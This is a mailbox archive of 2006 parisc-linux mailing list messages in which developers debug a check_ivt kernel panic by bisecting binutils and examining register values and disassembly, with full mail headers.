	id 6344D49400B; Mon,  2 Oct 2006 20:50:53 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 522DE494005; Mon,  2 Oct 2006 20:50:53 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1159841839.5737.13.camel@localhost.localdomain>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: L+IYcOJxeWU7ULeUfHVzhQI5U3U4N881
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25318

On Mon, Oct 02, 2006 at 10:17:19PM -0400, Jeff Bailey wrote:
> I'm not claiming I know where the bug is, but I wanted to know what the
> change was that happened between a bootable kernel and a non-bootable
> kernel.

I suppose the obvious thing to do is to objdump -dr each kernel and then
diff the two.  That'll tell you if it's a heisenbug or if there's
actually any difference.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] check_ivt panic / binutils
Date: Mon, 2 Oct 2006 22:52:01 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200610030252.k932q2h5024391@hiauly1.hia.nrc.ca>
References: <1159841839.5737.13.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624602 27724 80.91.229.3 (22 Nov 2014 02:50:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:02 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: jbailey@raspberryginger.com (Jeff Bailey)
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Oct 2006 02:52:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 03 Oct 2006 04:52:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 908C47D73E;
	Mon,  2 Oct 2006 20:52:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13911-10; Mon, 2 Oct 2006 20:52:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3F2E7D739;
	Mon,  2 Oct 2006 20:52:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6EE1F7D737
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Oct 2006 20:52:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13911-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 Oct 2006 20:52:04 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3C57E7D735
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Oct 2006 20:52:04 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 2207049400B; Mon,  2 Oct 2006 20:52:04 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by mail.parisc-linux.org (Postfix) with ESMTP id DBD1C494005
	for <parisc-linux@parisc-linux.org>;
	Mon,  2 Oct 2006 20:52:03 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k932q25f024393;
	Mon, 2 Oct 2006 22:52:02 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k932q2h5024391;
	Mon, 2 Oct 2006 22:52:02 -0400 (EDT)
In-Reply-To: <1159841839.5737.13.camel@localhost.localdomain> from "Jeff
	Bailey" at Oct 2, 2006 10:17:19 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MqVIdpByeWU3WK2TZm9nTD8rL0tsZk3a
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25319

> > > I bisected the binutils CVS until I found the failure point.  It seems
> > > that with 2006-04-30 I don't get the check_ivt failure (although the
> > > kernel does die immediately after e100 is initialised), but at
> > > 2006-05-01, I get the check_ivt failure.
> >=20
> > It's not at all obvious why you think this is a binutils bug.
> 
> Sorry, the first part of the conversation happened on IRC, my bad.
> 
> I was trying to figure out why I was seeing a problem that Joel had
> reported before and no-one else was.  Kyle got me to try a sid chroot,
> and it didn't happen there.  Eventually I narrowed down the difference
> between a working kernel and a non-working one was whether I was using a
> bleeding edge CVS snapshot, or whether I was using the released
> binutils-2.17 package.

If you think it's a binutils issue, then cmp the two kernels
or modules and see if they differ.  Generate an assembler printout
for the code that caused the panic.  This would show if there's a
relocation issue with the instruction that causes the panic.

There haven't been many changes to the hppa binutils port in recent
months.  The TLS stuff went in after you say the failure started.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] check_ivt panic / binutils
Date: Mon, 02 Oct 2006 21:09:59 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <1159837799.5737.7.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  CHARSET=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416624603 27733 80.91.229.3 (22 Nov 2014 02:50:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Oct 2006 01:10:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 03 Oct 2006 03:10:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5138F7D6C4;
	Mon,  2 Oct 2006 19:10:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12207-06; Mon, 2 Oct 2006 19:10:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 308F07D6C5;
	Mon,  2 Oct 2006 19:10:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9198E7D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Oct 2006 19:10:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12207-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 Oct 2006 19:10:12 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5C9457D6C0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Oct 2006 19:10:12 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 2EA0149400B; Mon,  2 Oct 2006 19:10:12 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36])
	by mail.parisc-linux.org (Postfix) with ESMTP id 08C8C494005
	for <parisc-linux@parisc-linux.org>;
	Mon,  2 Oct 2006 19:10:11 -0600 (MDT)
Original-Received: from [192.168.223.50] ([24.203.249.139])
	by VL-MO-MR001.ip.videotron.ca
	(Sun Java System Messaging Server 6.2-2.05 (built Apr 28 2005))
	with ESMTP id <0J6J0064ZCKXE0C0@VL-MO-MR001.ip.videotron.ca> for
	parisc-linux@parisc-linux.org; Mon, 02 Oct 2006 21:10:10 -0400 (EDT)
X-Mailer: Evolution 2.8.0
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6c1IdpByeWU3WK2TZm9nV1orL0tsZs3k
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25320

I bisected the binutils CVS until I found the failure point.  It seems
that with 2006-04-30 I don't get the check_ivt failure (although the
kernel does die immediately after e100 is initialised), but at
2006-05-01, I get the check_ivt failure.

What's *really* annoying is that the only changes between the two appear
to be MIPS stuff.  http://people.ubuntu.com/~jbailey/binutils.patch or
"cvs diff -D 2006-04-30 -D 2006-05-01" to see what I mean.

My kernel config is at http://people.ubuntu.com/~jbailey/a500_config if
it's of any use.  I'm not sure what to look at next.

Tks,
Jeff Bailey

-- 
Although when you're in the situation that RMS is telling you that
you're being too ideological about freedom, maybe, just maybe, it's
true.
- Matthew Wilcox

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] check_ivt panic / binutils
Date: Mon, 02 Oct 2006 22:17:19 -0400
Lines: 77
Approved: news@gmane.org
Message-ID: <1159841839.5737.13.camel@localhost.localdomain>
References: <200610030211.k932BbeR023905@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0520993705=="
X-Trace: ger.gmane.org 1416624603 27736 80.91.229.3 (22 Nov 2014 02:50:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:03 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Oct 2006 02:17:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 03 Oct 2006 04:17:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C74C7D6E1;
	Mon,  2 Oct 2006 20:17:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13107-08; Mon, 2 Oct 2006 20:17:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE5FF7D6D4;
	Mon,  2 Oct 2006 20:17:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72FE97D6CF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Oct 2006 20:17:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12665-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 Oct 2006 20:17:32 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3644A7D6CA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Oct 2006 20:17:32 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id F113449400B; Mon,  2 Oct 2006 20:17:31 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36])
	by mail.parisc-linux.org (Postfix) with ESMTP id CE29E494005
	for <parisc-linux@parisc-linux.org>;
	Mon,  2 Oct 2006 20:17:31 -0600 (MDT)
Original-Received: from [192.168.223.50] ([24.203.249.139])
	by VL-MH-MR001.ip.videotron.ca
	(Sun Java System Messaging Server 6.2-2.05 (built Apr 28 2005))
	with ESMTP id <0J6J00217FP6WW30@VL-MH-MR001.ip.videotron.ca> for
	parisc-linux@parisc-linux.org; Mon, 02 Oct 2006 22:17:30 -0400 (EDT)
In-reply-to: <200610030211.k932BbeR023905@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.8.0
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: J6FUdu8JODBpUrWUfGRMtQg1Ji9SWtLS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25321


--===============0520993705==
Content-type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="=-ZVw12ZV2efOwHwkBNedL"


--=-ZVw12ZV2efOwHwkBNedL
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Le lundi 02 octobre 2006 =C3=A0 22:11 -0400, John David Anglin a =C3=A9crit=
 :
> > I bisected the binutils CVS until I found the failure point.  It seems
> > that with 2006-04-30 I don't get the check_ivt failure (although the
> > kernel does die immediately after e100 is initialised), but at
> > 2006-05-01, I get the check_ivt failure.
>=20
> It's not at all obvious why you think this is a binutils bug.

Sorry, the first part of the conversation happened on IRC, my bad.

I was trying to figure out why I was seeing a problem that Joel had
reported before and no-one else was.  Kyle got me to try a sid chroot,
and it didn't happen there.  Eventually I narrowed down the difference
between a working kernel and a non-working one was whether I was using a
bleeding edge CVS snapshot, or whether I was using the released
binutils-2.17 package.

I'm not claiming I know where the bug is, but I wanted to know what the
change was that happened between a bootable kernel and a non-bootable
kernel.

> >  IIR: 0e60109c    ISR: 0000000000000000  IOR: 0000000100000000
>=20
> $ disasm 0x0e60109c
>    0:   0e 60 10 9c     ldw 0(r19),ret0
>=20
> > r16-19  00000000f00003b0 00000000f000024c 00000000f0002b4c 000000010000=
0000
>=20
> The r19 value is the problem.

--=20
Although when you're in the situation that RMS is telling you that
you're being too ideological about freedom, maybe, just maybe, it's
true.
- Matthew Wilcox

--=-ZVw12ZV2efOwHwkBNedL
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Ceci est une partie de message
	=?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?=

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)

iD8DBQBFIcgv5M5hmdCYCpkRAuqUAKDfMmpoT0vbi6oul/YatfF8/eNPxACcD7Pq
c25VNXQg4gSlfq1/bszPLcY=
=j+30
-----END PGP SIGNATURE-----

--=-ZVw12ZV2efOwHwkBNedL--


--===============0520993705==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0520993705==--



From - Thu Nov 08 21:36:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] check_ivt panic / binutils
Date: Mon, 2 Oct 2006 22:11:36 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200610030211.k932BbeR023905@hiauly1.hia.nrc.ca>
References: <1159837799.5737.7.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624603 27741 80.91.229.3 (22 Nov 2014 02:50:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:03 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: jbailey@raspberryginger.com (Jeff Bailey)
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Oct 2006 02:23:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 03 Oct 2006 04:23:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA7A67D6FA;
	Mon,  2 Oct 2006 20:23:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13529-06; Mon, 2 Oct 2006 20:23:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA1A77D702;
	Mon,  2 Oct 2006 20:23:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 545407D6EC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Oct 2006 20:23:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13406-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 Oct 2006 20:23:13 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 212BB7D6E7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Oct 2006 20:23:13 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id D831B49400B; Mon,  2 Oct 2006 20:23:12 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by mail.parisc-linux.org (Postfix) with ESMTP id A3377494005
	for <parisc-linux@parisc-linux.org>;
	Mon,  2 Oct 2006 20:23:11 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k932BbNb023906;
	Mon, 2 Oct 2006 22:11:38 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k932BbeR023905;
	Mon, 2 Oct 2006 22:11:37 -0400 (EDT)
In-Reply-To: <1159837799.5737.7.camel@localhost.localdomain> from "Jeff
	Bailey" at Oct 2, 2006 09:09:59 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ovsYcOdxeWU7ULeUfHVzkAo5U3U4Nw9S
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25322

> I bisected the binutils CVS until I found the failure point.  It seems
> that with 2006-04-30 I don't get the check_ivt failure (although the
> kernel does die immediately after e100 is initialised), but at
> 2006-05-01, I get the check_ivt failure.

It's not at all obvious why you think this is a binutils bug.

>  IIR: 0e60109c    ISR: 0000000000000000  IOR: 0000000100000000

$ disasm 0x0e60109c
   0:   0e 60 10 9c     ldw 0(r19),ret0

> r16-19  00000000f00003b0 00000000f000024c 00000000f0002b4c 0000000100000000

The r19 value is the problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH 3/3] IRQ: Maintain regs pointer globally
	rather than passing to IRQ handlers
Date: Fri, 6 Oct 2006 20:54:44 -0600
Lines: 224
Approved: news@gmane.org
Message-ID: <20061007025444.GV2563__27314.2013386407$1416624604$gmane$org@parisc-linux.org>
References: <20061002132116.2663d7a3.akpm@osdl.org>
	<20061002162049.17763.39576.stgit@warthog.cambridge.redhat.com>
	<20061002162053.17763.26032.stgit@warthog.cambridge.redhat.com>
	<18975.1160058127@warthog.cambridge.redhat.com>
	<Pine.LNX.4.64.0610051632250.3952@g5.osdl.org>
	<20061006164211.GA15321@flint.arm.linux.org.uk>
	<Pine.LNX.4.64.0610061055490.3952@g5.osdl.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624604 27744 80.91.229.3 (22 Nov 2014 02:50:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:04 +0000 (UTC)
Cc: David Howells <dhowells@redhat.com>,
 Andrew Morton <akpm@osdl.org>,
 parisc-linux@parisc-linux.org,
 linux-kernel@vger.kernel.org,
 linux-arch@vger.kernel.org
To: Linus Torvalds <torvalds@osdl.org>
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0001
